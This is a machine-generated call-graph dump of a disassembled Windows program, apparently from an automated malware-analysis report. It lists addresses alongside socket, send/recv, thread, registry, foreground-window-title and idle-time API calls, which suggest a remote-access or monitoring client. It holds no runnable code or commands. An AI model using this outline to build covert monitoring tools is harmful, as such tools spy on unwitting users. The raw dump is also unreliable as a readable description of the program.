53153->53114 53158 10006b05 53154->53158 53163 10006baf 53154->53163 53157 10002ada _ValidateLocalCookies 5 API calls 53160 10006c5b 53157->53160 53171 100086e4 53158->53171 53160->53124 53162 10008a3e 41 API calls 53162->53163 53163->53157 53165 10002ae3 53164->53165 53166 10002ae5 IsProcessorFeaturePresent 53164->53166 53165->53122 53168 10002b58 53166->53168 53241 10002b1c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53168->53241 53170 10002c3b 53170->53122 53172 100054a7 __fassign 36 API calls 53171->53172 53173 10008704 MultiByteToWideChar 53172->53173 53175 10008742 53173->53175 53182 100087da 53173->53182 53177 100056d0 20 API calls 53175->53177 53181 10008763 ___scrt_fastfail 53175->53181 53176 10002ada _ValidateLocalCookies 5 API calls 53178 10006b66 53176->53178 53177->53181 53185 10008a3e 53178->53185 53179 100087d4 53190 10008801 19 API calls _free 53179->53190 53181->53179 53183 100087a8 MultiByteToWideChar 53181->53183 53182->53176 53183->53179 53184 100087c4 GetStringTypeW 53183->53184 53184->53179 53186 100054a7 __fassign 36 API calls 53185->53186 53187 10008a51 53186->53187 53191 10008821 53187->53191 53190->53182 53192 1000883c 53191->53192 53193 10008862 MultiByteToWideChar 53192->53193 53194 10008a16 53193->53194 53195 1000888c 53193->53195 53196 10002ada _ValidateLocalCookies 5 API calls 53194->53196 53198 100056d0 20 API calls 53195->53198 53200 100088ad 53195->53200 53197 10006b87 53196->53197 53197->53162 53198->53200 53199 100088f6 MultiByteToWideChar 53201 1000890f 53199->53201 53214 10008962 53199->53214 53200->53199 53200->53214 53218 10005f19 53201->53218 53205 10008939 53208 10005f19 10 API calls 53205->53208 53205->53214 53206 10008992 53209 10008a07 53206->53209 53211 10005f19 10 API calls 53206->53211 53207 10008971 53207->53206 53210 100056d0 20 API calls 53207->53210 53208->53214 53226 10008801 19 API calls _free 53209->53226 53210->53206 53213 100089e6 53211->53213 53213->53209 53215 100089f5 WideCharToMultiByte 53213->53215 53227 10008801 19 API calls _free 53214->53227 53215->53209 53216 10008a35 53215->53216 53228 10008801 19 API calls _free 53216->53228 53229 10005c45 53218->53229 53220 10005f40 53223 10005f49 53220->53223 53233 10005fa1 9 API calls 2 library calls 53220->53233 53222 10005f89 LCMapStringW 53222->53223 53224 10002ada _ValidateLocalCookies 5 API calls 53223->53224 53225 10005f9b 53224->53225 53225->53205 53225->53207 53225->53214 53226->53214 53227->53194 53228->53214 53230 10005c75 __crt_fast_encode_pointer 53229->53230 53232 10005c71 53229->53232 53230->53220 53232->53230 53234 10005ce1 53232->53234 53233->53222 53235 10005d02 LoadLibraryExW 53234->53235 53239 10005cf7 53234->53239 53236 10005d37 53235->53236 53237 10005d1f GetLastError 53235->53237 53236->53239 53240 10005d4e FreeLibrary 53236->53240 53237->53236 53238 10005d2a LoadLibraryExW 53237->53238 53238->53236 53239->53232 53240->53239 53241->53170 53242 4165a0 53253 401e65 53242->53253 53244 4165b0 53258 4020f6 53244->53258 53247 401e65 22 API calls 53248 4165c6 53247->53248 53249 4020f6 28 API calls 53248->53249 53250 4165d1 53249->53250 53264 41292a 53250->53264 53254 401e6d 53253->53254 53255 401e75 53254->53255 53283 402158 22 API calls 53254->53283 53255->53244 53259 40210c 53258->53259 53284 4023ce 53259->53284 53261 402126 53288 402569 53261->53288 53263 402134 53263->53247 53336 40482d 53264->53336 53266 41293e 53343 4048c8 connect 53266->53343 53270 41295f 53408 402f10 53270->53408 53279 401fd8 11 API calls 53280 412991 53279->53280 53281 401fd8 11 API calls 53280->53281 53282 412999 53281->53282 53285 402428 53284->53285 53286 4023d8 53284->53286 53285->53261 53286->53285 53298 4027a7 53286->53298 53309 402888 53288->53309 53290 40257d 53291 402592 53290->53291 53292 4025a7 53290->53292 53314 402a34 22 API calls 53291->53314 53316 4028e8 53292->53316 53295 40259b 53315 4029da 22 API calls 53295->53315 53297 4025a5 53297->53263 53299 402e21 53298->53299 53302 4016b4 53299->53302 53301 402e30 53301->53285 53303 4016cb 53302->53303 53304 4016c6 53302->53304 53303->53304 53305 4016f3 53303->53305 53308 43bd19 11 API calls _Atexit 53304->53308 53305->53301 53307 43bd18 53308->53307 53310 402890 53309->53310 53311 402898 53310->53311 53327 402ca3 22 API calls 53310->53327 53311->53290 53314->53295 53315->53297 53317 4028f1 53316->53317 53318 402953 53317->53318 53320 4028fb 53317->53320 53334 4028a4 22 API calls 53318->53334 53322 402904 53320->53322 53324 402917 53320->53324 53328 402cae 53322->53328 53325 402915 53324->53325 53326 4023ce 11 API calls 53324->53326 53325->53297 53326->53325 53329 402cb8 __EH_prolog 53328->53329 53335 402e54 22 API calls 53329->53335 53331 4023ce 11 API calls 53333 402d92 53331->53333 53332 402d24 53332->53331 53333->53325 53335->53332 53337 404846 socket 53336->53337 53338 404839 53336->53338 53340 404860 CreateEventW 53337->53340 53341 404842 53337->53341 53449 40489e WSAStartup 53338->53449 53340->53266 53341->53266 53342 40483e 53342->53337 53342->53341 53344 404a1b 53343->53344 53345 4048ee 53343->53345 53346 404a21 WSAGetLastError 53344->53346 53396 40497e 53344->53396 53347 404923 53345->53347 53345->53396 53450 40531e 53345->53450 53348 404a31 53346->53348 53346->53396 53485 420c60 27 API calls 53347->53485 53351 404932 53348->53351 53352 404a36 53348->53352 53358 402093 28 API calls 53351->53358 53490 41cae1 30 API calls 53352->53490 53353 40492b 53353->53351 53357 404941 53353->53357 53354 40490f 53455 402093 53354->53455 53356 404a40 53491 4052fd 28 API calls 53356->53491 53367 404950 53357->53367 53368 404987 53357->53368 53361 404a80 53358->53361 53365 402093 28 API calls 53361->53365 53369 404a8f 53365->53369 53372 402093 28 API calls 53367->53372 53487 421a40 54 API calls 53368->53487 53373 41b4ef 80 API calls 53369->53373 53376 40495f 53372->53376 53373->53396 53375 40498f 53378 4049c4 53375->53378 53379 404994 53375->53379 53380 402093 28 API calls 53376->53380 53489 420e06 28 API calls 53378->53489 53383 402093 28 API calls 53379->53383 53384 40496e 53380->53384 53386 4049a3 53383->53386 53387 41b4ef 80 API calls 53384->53387 53385 4049cc 53388 4049f9 CreateEventW CreateEventW 53385->53388 53391 402093 28 API calls 53385->53391 53389 402093 28 API calls 53386->53389 53390 404973 53387->53390 53388->53396 53392 4049b2 53389->53392 53486 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53390->53486 53394 4049e2 53391->53394 53395 41b4ef 80 API calls 53392->53395 53397 402093 28 API calls 53394->53397 53398 4049b7 53395->53398 53403 402f31 53396->53403 53399 4049f1 53397->53399 53488 4210b2 52 API calls 53398->53488 53401 41b4ef 80 API calls 53399->53401 53402 4049f6 53401->53402 53402->53388 53404 4020df 11 API calls 53403->53404 53405 402f3d 53404->53405 53406 4032a0 28 API calls 53405->53406 53407 402f59 53406->53407 53407->53270 53553 401fb0 53408->53553 53410 402f1e 53411 402055 11 API calls 53410->53411 53412 402f2d 53411->53412 53413 404aa1 53412->53413 53414 404ab4 53413->53414 53556 40520c 53414->53556 53416 404ac9 ctype 53417 404b40 WaitForSingleObject 53416->53417 53418 404b20 53416->53418 53420 404b56 53417->53420 53419 404b32 send 53418->53419 53421 404b7b 53419->53421 53562 42103a 54 API calls 53420->53562 53424 401fd8 11 API calls 53421->53424 53423 404b69 SetEvent 53423->53421 53425 404b83 53424->53425 53426 401fd8 11 API calls 53425->53426 53427 404b8b 53426->53427 53428 401fd8 53427->53428 53429 4023ce 11 API calls 53428->53429 53430 401fe1 53429->53430 53431 404c10 53430->53431 53432 4020df 11 API calls 53431->53432 53433 404c27 53432->53433 53434 4020df 11 API calls 53433->53434 53437 404c30 53434->53437 53439 404ca1 53437->53439 53443 401fd8 11 API calls 53437->53443 53580 43bd51 53437->53580 53587 404b96 53437->53587 53593 4020b7 53437->53593 53599 401fe2 53437->53599 53608 404cc3 53437->53608 53620 404e26 WaitForSingleObject 53439->53620 53443->53437 53444 401fd8 11 API calls 53445 404cb1 53444->53445 53446 401fd8 11 API calls 53445->53446 53447 404cba 53446->53447 53447->53279 53449->53342 53492 4020df 53450->53492 53452 40532a 53496 4032a0 53452->53496 53454 405346 53454->53354 53456 40209b 53455->53456 53457 4023ce 11 API calls 53456->53457 53458 4020a6 53457->53458 53500 4024ed 53458->53500 53461 41b4ef 53462 41b5a0 53461->53462 53463 41b505 GetLocalTime 53461->53463 53465 401fd8 11 API calls 53462->53465 53464 40531e 28 API calls 53463->53464 53466 41b547 53464->53466 53467 41b5a8 53465->53467 53511 406383 53466->53511 53469 401fd8 11 API calls 53467->53469 53471 41b5b0 53469->53471 53471->53347 53472 402f10 28 API calls 53473 41b55f 53472->53473 53474 406383 28 API calls 53473->53474 53475 41b56b 53474->53475 53516 407200 77 API calls 53475->53516 53477 41b579 53478 401fd8 11 API calls 53477->53478 53479 41b585 53478->53479 53480 401fd8 11 API calls 53479->53480 53481 41b58e 53480->53481 53482 401fd8 11 API calls 53481->53482 53483 41b597 53482->53483 53484 401fd8 11 API calls 53483->53484 53484->53462 53485->53353 53486->53396 53487->53375 53488->53390 53489->53385 53490->53356 53493 4020e7 53492->53493 53494 4023ce 11 API calls 53493->53494 53495 4020f2 53494->53495 53495->53452 53497 4032aa 53496->53497 53498 4028e8 28 API calls 53497->53498 53499 4032c9 53497->53499 53498->53499 53499->53454 53501 4024f9 53500->53501 53504 40250a 53501->53504 53503 4020b1 53503->53461 53505 40251a 53504->53505 53506 402520 53505->53506 53507 402535 53505->53507 53509 402569 28 API calls 53506->53509 53508 4028e8 28 API calls 53507->53508 53510 402533 53508->53510 53509->53510 53510->53503 53517 4051ef 53511->53517 53513 406391 53521 402055 53513->53521 53516->53477 53518 4051fb 53517->53518 53527 405274 53518->53527 53520 405208 53520->53513 53522 402061 53521->53522 53523 4023ce 11 API calls 53522->53523 53524 40207b 53523->53524 53549 40267a 53524->53549 53528 405282 53527->53528 53529 405288 53528->53529 53530 40529e 53528->53530 53538 4025f0 53529->53538 53531 4052f5 53530->53531 53532 4052b6 53530->53532 53547 4028a4 22 API calls 53531->53547 53535 4028e8 28 API calls 53532->53535 53537 40529c 53532->53537 53535->53537 53537->53520 53539 402888 22 API calls 53538->53539 53540 402602 53539->53540 53541 402672 53540->53541 53542 402629 53540->53542 53548 4028a4 22 API calls 53541->53548 53545 4028e8 28 API calls 53542->53545 53546 40263b 53542->53546 53545->53546 53546->53537 53550 40268b 53549->53550 53551 4023ce 11 API calls 53550->53551 53552 40208d 53551->53552 53552->53472 53554 4025f0 28 API calls 53553->53554 53555 401fbd 53554->53555 53555->53410 53557 405214 53556->53557 53558 4023ce 11 API calls 53557->53558 53559 40521f 53558->53559 53563 405234 53559->53563 53561 40522e 53561->53416 53562->53423 53564 405240 53563->53564 53565 40526e 53563->53565 53566 4028e8 28 API calls 53564->53566 53579 4028a4 22 API calls 53565->53579 53569 40524a 53566->53569 53569->53561 53585 446137 __Getctype 53580->53585 53581 446175 53634 4405dd 20 API calls _free 53581->53634 53583 446160 RtlAllocateHeap 53584 446173 53583->53584 53583->53585 53584->53437 53585->53581 53585->53583 53633 442f80 7 API calls 2 library calls 53585->53633 53588 404ba0 WaitForSingleObject 53587->53588 53589 404bcd recv 53587->53589 53635 421076 54 API calls 53588->53635 53591 404be0 53589->53591 53591->53437 53592 404bbc SetEvent 53592->53591 53594 4020bf 53593->53594 53595 4023ce 11 API calls 53594->53595 53596 4020ca 53595->53596 53597 40250a 28 API calls 53596->53597 53598 4020d9 53597->53598 53598->53437 53600 401ff1 53599->53600 53607 402039 53599->53607 53601 4023ce 11 API calls 53600->53601 53602 401ffa 53601->53602 53603 40203c 53602->53603 53605 402015 53602->53605 53604 40267a 11 API calls 53603->53604 53604->53607 53636 403098 28 API calls 53605->53636 53607->53437 53609 4020df 11 API calls 53608->53609 53619 404cde 53609->53619 53610 404e13 53611 401fd8 11 API calls 53610->53611 53612 404e1c 53611->53612 53612->53437 53613 4041a2 28 API calls 53613->53619 53614 401fe2 28 API calls 53614->53619 53615 401fd8 11 API calls 53615->53619 53616 4020f6 28 API calls 53616->53619 53619->53610 53619->53613 53619->53614 53619->53615 53619->53616 53637 401fc0 53619->53637 53621 404e40 SetEvent CloseHandle 53620->53621 53622 404e57 closesocket 53620->53622 53623 404ca8 53621->53623 53624 404e64 53622->53624 53623->53444 53625 404e7a 53624->53625 53944 4050e4 84 API calls 53624->53944 53627 404e8c WaitForSingleObject 53625->53627 53628 404ece SetEvent CloseHandle 53625->53628 53945 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53627->53945 53628->53623 53630 404e9b SetEvent WaitForSingleObject 53946 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53630->53946 53632 404eb3 SetEvent CloseHandle CloseHandle 53632->53628 53633->53585 53634->53584 53635->53592 53636->53607 53638 401fd2 CreateEventA CreateThread WaitForSingleObject CloseHandle 53637->53638 53639 401fc9 53637->53639 53638->53619 53642 415aea 53638->53642 53641 4025e0 28 API calls 53639->53641 53641->53638 53643 4020f6 28 API calls 53642->53643 53644 415b0c SetEvent 53643->53644 53645 415b21 53644->53645 53721 4041a2 53645->53721 53648 4020f6 28 API calls 53649 415b4b 53648->53649 53650 4020f6 28 API calls 53649->53650 53651 415b5d 53650->53651 53724 41be1b 53651->53724 53654 415cd6 53794 401e8d 53654->53794 53656 415b86 GetTickCount 53746 41bb8e 53656->53746 53657 415cf9 53793 4050e4 84 API calls 53657->53793 53660 401fd8 11 API calls 53663 41709e 53660->53663 53666 401fd8 11 API calls 53663->53666 53665 415cc9 53665->53654 53669 4170aa 53666->53669 53667 415ba3 53668 41bb8e 28 API calls 53667->53668 53670 415bae 53668->53670 53752 41ba96 53670->53752 53675 401e65 22 API calls 53676 415bd8 53675->53676 53677 402f31 28 API calls 53676->53677 53678 415be6 53677->53678 53761 402ea1 53678->53761 53681 402f10 28 API calls 53682 415c04 53681->53682 53683 402ea1 28 API calls 53682->53683 53684 415c13 53683->53684 53685 402f10 28 API calls 53684->53685 53686 415c1f 53685->53686 53687 402ea1 28 API calls 53686->53687 53688 415c29 53687->53688 53689 404aa1 61 API calls 53688->53689 53690 415c38 53689->53690 53691 401fd8 11 API calls 53690->53691 53692 415c41 53691->53692 53693 401fd8 11 API calls 53692->53693 53694 415c4d 53693->53694 53695 401fd8 11 API calls 53694->53695 53696 415c59 53695->53696 53697 401fd8 11 API calls 53696->53697 53698 415c65 53697->53698 53699 401fd8 11 API calls 53698->53699 53700 415c71 53699->53700 53701 401fd8 11 API calls 53700->53701 53702 415c7d 53701->53702 53770 401f09 53702->53770 53705 401fd8 11 API calls 53706 415c8f 53705->53706 53707 401fd8 11 API calls 53706->53707 53708 415c98 53707->53708 53709 401e65 22 API calls 53708->53709 53710 415ca3 53709->53710 53773 43baac 53710->53773 53713 415cb5 53717 415cc3 53713->53717 53718 415cce 53713->53718 53714 415cdb 53715 401e65 22 API calls 53714->53715 53716 415ce5 53715->53716 53716->53654 53716->53657 53777 404ff4 82 API calls 53717->53777 53778 404f51 53718->53778 53800 40423a 53721->53800 53725 4020df 11 API calls 53724->53725 53739 41be2e 53725->53739 53726 401fd8 11 API calls 53727 41bed0 53726->53727 53729 401fd8 11 API calls 53727->53729 53728 41bea0 53730 4041a2 28 API calls 53728->53730 53732 41bed8 53729->53732 53733 41beac 53730->53733 53731 4041a2 28 API calls 53731->53739 53734 401fd8 11 API calls 53732->53734 53735 401fe2 28 API calls 53733->53735 53737 415b66 53734->53737 53738 41beb5 53735->53738 53736 401fe2 28 API calls 53736->53739 53737->53654 53737->53656 53737->53716 53740 401fd8 11 API calls 53738->53740 53739->53728 53739->53731 53739->53736 53741 401fd8 11 API calls 53739->53741 53745 41be9e 53739->53745 53806 41ce34 28 API calls 53739->53806 53742 41bebd 53740->53742 53741->53739 53807 41ce34 28 API calls 53742->53807 53745->53726 53808 441e81 53746->53808 53749 402093 28 API calls 53750 415b97 53749->53750 53751 41bae6 GetLastInputInfo GetTickCount 53750->53751 53751->53667 53817 436e90 53752->53817 53757 41bd1e 53758 41bd2b 53757->53758 53759 4020b7 28 API calls 53758->53759 53760 415bca 53759->53760 53760->53675 53766 402eb0 53761->53766 53762 402ef2 53763 401fb0 28 API calls 53762->53763 53764 402ef0 53763->53764 53765 402055 11 API calls 53764->53765 53767 402f09 53765->53767 53766->53762 53768 402ee7 53766->53768 53767->53681 53866 403365 28 API calls 53768->53866 53771 402252 11 API calls 53770->53771 53772 401f12 53771->53772 53772->53705 53774 43bac5 _strftime 53773->53774 53867 43ae03 53774->53867 53776 415cb0 53776->53713 53776->53714 53777->53665 53779 404f65 53778->53779 53780 404fea 53778->53780 53781 404f6e 53779->53781 53782 404fc0 CreateEventA CreateThread 53779->53782 53783 404f7d GetLocalTime 53779->53783 53780->53654 53781->53782 53782->53780 53938 405150 53782->53938 53784 41bb8e 28 API calls 53783->53784 53785 404f91 53784->53785 53937 4052fd 28 API calls 53785->53937 53793->53665 53795 402163 53794->53795 53799 40219f 53795->53799 53942 402730 11 API calls 53795->53942 53797 402184 53943 402712 11 API calls std::_Deallocate 53797->53943 53799->53660 53801 404243 53800->53801 53802 4023ce 11 API calls 53801->53802 53803 40424e 53802->53803 53804 402569 28 API calls 53803->53804 53805 4041b5 53804->53805 53805->53648 53806->53739 53807->53745 53809 441e8d 53808->53809 53812 441c7d 53809->53812 53811 41bbb2 53811->53749 53813 441c94 53812->53813 53815 441ccb _strftime 53813->53815 53816 4405dd 20 API calls _free 53813->53816 53815->53811 53816->53815 53818 41bab5 GetForegroundWindow GetWindowTextW 53817->53818 53819 40417e 53818->53819 53820 404186 53819->53820 53825 402252 53820->53825 53822 404191 53829 4041bc 53822->53829 53826 4022ac 53825->53826 53827 40225c 53825->53827 53826->53822 53827->53826 53833 402779 11 API calls std::_Deallocate 53827->53833 53830 4041c8 53829->53830 53834 4041d9 53830->53834 53832 40419c 53832->53757 53833->53826 53835 4041e9 53834->53835 53836 404206 53835->53836 53837 4041ef 53835->53837 53851 4027e6 53836->53851 53841 404267 53837->53841 53840 404204 53840->53832 53842 402888 22 API calls 53841->53842 53843 40427b 53842->53843 53844 404290 53843->53844 53845 4042a5 53843->53845 53862 4042df 22 API calls 53844->53862 53846 4027e6 28 API calls 53845->53846 53850 4042a3 53846->53850 53848 404299 53863 402c48 22 API calls 53848->53863 53850->53840 53852 4027ef 53851->53852 53853 402851 53852->53853 53854 4027f9 53852->53854 53865 4028a4 22 API calls 53853->53865 53857 402802 53854->53857 53859 402815 53854->53859 53864 402aea 28 API calls __EH_prolog 53857->53864 53860 402813 53859->53860 53861 402252 11 API calls 53859->53861 53860->53840 53861->53860 53862->53848 53863->53850 53864->53860 53866->53764 53883 43ba0a 53867->53883 53869 43ae50 53889 43a7b7 53869->53889 53870 43ae15 53870->53869 53871 43ae2a 53870->53871 53882 43ae2f _strftime 53870->53882 53888 4405dd 20 API calls _free 53871->53888 53875 43ae5c 53876 43ae8b 53875->53876 53897 43ba4f 40 API calls __Toupper 53875->53897 53879 43aef7 53876->53879 53898 43b9b6 20 API calls 2 library calls 53876->53898 53899 43b9b6 20 API calls 2 library calls 53879->53899 53880 43afbe _strftime 53880->53882 53900 4405dd 20 API calls _free 53880->53900 53882->53776 53884 43ba22 53883->53884 53885 43ba0f 53883->53885 53884->53870 53901 4405dd 20 API calls _free 53885->53901 53887 43ba14 _strftime 53887->53870 53888->53882 53890 43a7d4 53889->53890 53891 43a7ca 53889->53891 53890->53891 53902 448215 GetLastError 53890->53902 53891->53875 53893 43a7f5 53923 448364 36 API calls __Getctype 53893->53923 53895 43a80e 53924 448391 36 API calls _strftime 53895->53924 53897->53875 53898->53879 53899->53880 53900->53882 53901->53887 53903 448237 53902->53903 53904 44822b 53902->53904 53926 445af3 20 API calls 3 library calls 53903->53926 53925 4487bc 11 API calls 2 library calls 53904->53925 53907 448231 53907->53903 53909 448280 SetLastError 53907->53909 53908 448243 53910 44824b 53908->53910 53933 448812 11 API calls 2 library calls 53908->53933 53909->53893 53927 446782 53910->53927 53913 448260 53913->53910 53915 448267 53913->53915 53914 448251 53917 44828c SetLastError 53914->53917 53934 448087 20 API calls _free 53915->53934 53935 4460f4 36 API calls 4 library calls 53917->53935 53918 448272 53920 446782 _free 20 API calls 53918->53920 53922 448279 53920->53922 53921 448298 53922->53909 53922->53917 53923->53895 53924->53891 53925->53907 53926->53908 53928 44678d HeapFree 53927->53928 53932 4467b6 _free 53927->53932 53929 4467a2 53928->53929 53928->53932 53936 4405dd 20 API calls _free 53929->53936 53931 4467a8 GetLastError 53931->53932 53932->53914 53933->53913 53934->53918 53935->53921 53936->53931 53941 40515c 102 API calls 53938->53941 53940 405159 53941->53940 53942->53797 53943->53799 53944->53625 53945->53630 53946->53632 53947 445847 53948 445852 53947->53948 53950 44587b 53948->53950 53952 445877 53948->53952 53953 448a84 53948->53953 53960 44589f DeleteCriticalSection 53950->53960 53961 4484ca 53953->53961 53956 448ac9 InitializeCriticalSectionAndSpinCount 53957 448ab4 53956->53957 53968 434fcb 53957->53968 53959 448ae0 53959->53948 53960->53952 53962 4484fa 53961->53962 53965 4484f6 53961->53965 53962->53956 53962->53957 53963 44851a 53963->53962 53966 448526 GetProcAddress 53963->53966 53965->53962 53965->53963 53975 448566 53965->53975 53967 448536 __crt_fast_encode_pointer 53966->53967 53967->53962 53969 434fd6 IsProcessorFeaturePresent 53968->53969 53970 434fd4 53968->53970 53972 435018 53969->53972 53970->53959 53982 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53972->53982 53974 4350fb 53974->53959 53976 448587 LoadLibraryExW 53975->53976 53977 44857c 53975->53977 53978 4485a4 GetLastError 53976->53978 53981 4485bc 53976->53981 53977->53965 53979 4485af LoadLibraryExW 53978->53979 53978->53981 53979->53981 53980 4485d3 FreeLibrary 53980->53977 53981->53977 53981->53980 53982->53974 53983 434887 53984 434893 ___DestructExceptionObject 53983->53984 54010 434596 53984->54010 53986 43489a 53988 4348c3 53986->53988 54316 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 53986->54316 53993 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 53988->53993 54021 444251 53988->54021 53992 4348e2 ___DestructExceptionObject 53999 434962 53993->53999 54317 4433e7 36 API calls 6 library calls 53993->54317 54029 434b14 53999->54029 54011 43459f 54010->54011 54322 434c52 IsProcessorFeaturePresent 54011->54322 54013 4345ab 54323 438f31 54013->54323 54015 4345b0 54020 4345b4 54015->54020 54332 4440bf 54015->54332 54018 4345cb 54018->53986 54020->53986 54022 444268 54021->54022 54023 434fcb _ValidateLocalCookies 5 API calls 54022->54023 54024 4348dc 54023->54024 54024->53992 54025 4441f5 54024->54025 54026 444224 54025->54026 54027 434fcb _ValidateLocalCookies 5 API calls 54026->54027 54028 44424d 54027->54028 54028->53993 54030 436e90 ___scrt_get_show_window_mode 54029->54030 54031 434b27 GetStartupInfoW 54030->54031 54032 434968 54031->54032 54033 4441a2 54032->54033 54382 44f059 54033->54382 54035 434971 54038 40e9c5 54035->54038 54036 4441ab 54036->54035 54386 446815 36 API calls 54036->54386 54516 41cb50 LoadLibraryA GetProcAddress 54038->54516 54040 40e9e1 GetModuleFileNameW 54521 40f3c3 54040->54521 54042 40e9fd 54043 4020f6 28 API calls 54042->54043 54044 40ea0c 54043->54044 54045 4020f6 28 API calls 54044->54045 54046 40ea1b 54045->54046 54047 41be1b 28 API calls 54046->54047 54048 40ea24 54047->54048 54536 40fb17 54048->54536 54050 40ea2d 54051 401e8d 11 API calls 54050->54051 54052 40ea36 54051->54052 54053 40ea93 54052->54053 54054 40ea49 54052->54054 54055 401e65 22 API calls 54053->54055 54731 40fbb3 118 API calls 54054->54731 54057 40eaa3 54055->54057 54061 401e65 22 API calls 54057->54061 54058 40ea5b 54059 401e65 22 API calls 54058->54059 54060 40ea67 54059->54060 54732 410f37 36 API calls __EH_prolog 54060->54732 54062 40eac2 54061->54062 54064 40531e 28 API calls 54062->54064 54066 40ead1 54064->54066 54065 40ea79 54733 40fb64 78 API calls 54065->54733 54067 406383 28 API calls 54066->54067 54069 40eadd 54067->54069 54071 401fe2 28 API calls 54069->54071 54070 40ea82 54734 40f3b0 71 API calls 54070->54734 54073 40eae9 54071->54073 54074 401fd8 11 API calls 54073->54074 54075 40eaf2 54074->54075 54077 401fd8 11 API calls 54075->54077 54079 40eafb 54077->54079 54080 401e65 22 API calls 54079->54080 54081 40eb04 54080->54081 54082 401fc0 28 API calls 54081->54082 54083 40eb0f 54082->54083 54084 401e65 22 API calls 54083->54084 54085 40eb28 54084->54085 54086 401e65 22 API calls 54085->54086 54087 40eb43 54086->54087 54088 40ebae 54087->54088 54735 406c1e 54087->54735 54089 401e65 22 API calls 54088->54089 54095 40ebbb 54089->54095 54091 40eb70 54092 401fe2 28 API calls 54091->54092 54093 40eb7c 54092->54093 54096 401fd8 11 API calls 54093->54096 54094 40ec02 54540 40d069 54094->54540 54095->54094 54101 413549 3 API calls 54095->54101 54098 40eb85 54096->54098 54740 413549 RegOpenKeyExA 54098->54740 54107 40ebe6 54101->54107 54105 40f34f 54833 4139a9 30 API calls 54105->54833 54107->54094 54743 4139a9 30 API calls 54107->54743 54115 40f365 54834 412475 65 API calls ___scrt_get_show_window_mode 54115->54834 54316->53986 54317->53999 54322->54013 54324 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 54323->54324 54336 43a43a 54324->54336 54327 438f44 54327->54015 54329 438f4c 54330 438f57 54329->54330 54350 43a476 DeleteCriticalSection 54329->54350 54330->54015 54378 44fb68 54332->54378 54335 438f5a 8 API calls 3 library calls 54335->54020 54337 43a443 54336->54337 54339 43a46c 54337->54339 54340 438f40 54337->54340 54351 438e7f 54337->54351 54356 43a476 DeleteCriticalSection 54339->54356 54340->54327 54342 43a3ec 54340->54342 54371 438d94 54342->54371 54344 43a3f6 54345 43a401 54344->54345 54376 438e42 6 API calls try_get_function 54344->54376 54345->54329 54347 43a40f 54348 43a41c 54347->54348 54377 43a41f 6 API calls ___vcrt_FlsFree 54347->54377 54348->54329 54350->54327 54357 438c73 54351->54357 54354 438eb6 InitializeCriticalSectionAndSpinCount 54355 438ea2 54354->54355 54355->54337 54356->54340 54358 438ca3 54357->54358 54359 438ca7 54357->54359 54358->54359 54363 438cc7 54358->54363 54364 438d13 54358->54364 54359->54354 54359->54355 54361 438cd3 GetProcAddress 54362 438ce3 __crt_fast_encode_pointer 54361->54362 54362->54359 54363->54359 54363->54361 54365 438d3b LoadLibraryExW 54364->54365 54366 438d30 54364->54366 54367 438d57 GetLastError 54365->54367 54368 438d6f 54365->54368 54366->54358 54367->54368 54369 438d62 LoadLibraryExW 54367->54369 54368->54366 54370 438d86 FreeLibrary 54368->54370 54369->54368 54370->54366 54372 438c73 try_get_function 5 API calls 54371->54372 54373 438dae 54372->54373 54374 438dc6 TlsAlloc 54373->54374 54375 438db7 54373->54375 54375->54344 54376->54347 54377->54345 54381 44fb81 54378->54381 54379 434fcb _ValidateLocalCookies 5 API calls 54380 4345bd 54379->54380 54380->54018 54380->54335 54381->54379 54383 44f06b 54382->54383 54384 44f062 54382->54384 54383->54036 54387 44ef58 54384->54387 54386->54036 54388 448215 __Getctype 36 API calls 54387->54388 54389 44ef65 54388->54389 54407 44f077 54389->54407 54391 44ef6d 54416 44ecec 54391->54416 54394 44ef84 54394->54383 54399 446782 _free 20 API calls 54399->54394 54400 44efc2 54440 4405dd 20 API calls _free 54400->54440 54402 44efc7 54402->54399 54403 44efdf 54404 446782 _free 20 API calls 54403->54404 54405 44f00b 54403->54405 54404->54405 54405->54402 54441 44ebc2 20 API calls 54405->54441 54408 44f083 ___DestructExceptionObject 54407->54408 54409 448215 __Getctype 36 API calls 54408->54409 54414 44f08d 54409->54414 54411 44f111 ___DestructExceptionObject 54411->54391 54414->54411 54415 446782 _free 20 API calls 54414->54415 54442 4460f4 36 API calls 4 library calls 54414->54442 54443 445888 EnterCriticalSection 54414->54443 54444 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 54414->54444 54415->54414 54417 43a7b7 _strftime 36 API calls 54416->54417 54418 44ecfe 54417->54418 54419 44ed0d GetOEMCP 54418->54419 54420 44ed1f 54418->54420 54421 44ed36 54419->54421 54420->54421 54422 44ed24 GetACP 54420->54422 54421->54394 54423 446137 54421->54423 54422->54421 54424 446175 54423->54424 54428 446145 __Getctype 54423->54428 54446 4405dd 20 API calls _free 54424->54446 54426 446160 RtlAllocateHeap 54427 446173 54426->54427 54426->54428 54427->54402 54430 44f119 54427->54430 54428->54424 54428->54426 54445 442f80 7 API calls 2 library calls 54428->54445 54431 44ecec 38 API calls 54430->54431 54432 44f138 54431->54432 54435 44f189 IsValidCodePage 54432->54435 54437 44f13f 54432->54437 54439 44f1ae ___scrt_get_show_window_mode 54432->54439 54433 434fcb _ValidateLocalCookies 5 API calls 54434 44efba 54433->54434 54434->54400 54434->54403 54436 44f19b GetCPInfo 54435->54436 54435->54437 54436->54437 54436->54439 54437->54433 54447 44edc4 GetCPInfo 54439->54447 54440->54402 54441->54402 54442->54414 54443->54414 54444->54414 54445->54428 54446->54427 54448 44eea8 54447->54448 54449 44edfe 54447->54449 54452 434fcb _ValidateLocalCookies 5 API calls 54448->54452 54457 45112c 54449->54457 54454 44ef54 54452->54454 54454->54437 54456 44ae66 _swprintf 41 API calls 54456->54448 54458 43a7b7 _strftime 36 API calls 54457->54458 54459 45114c MultiByteToWideChar 54458->54459 54461 451222 54459->54461 54462 45118a 54459->54462 54463 434fcb _ValidateLocalCookies 5 API calls 54461->54463 54464 446137 ___crtLCMapStringA 21 API calls 54462->54464 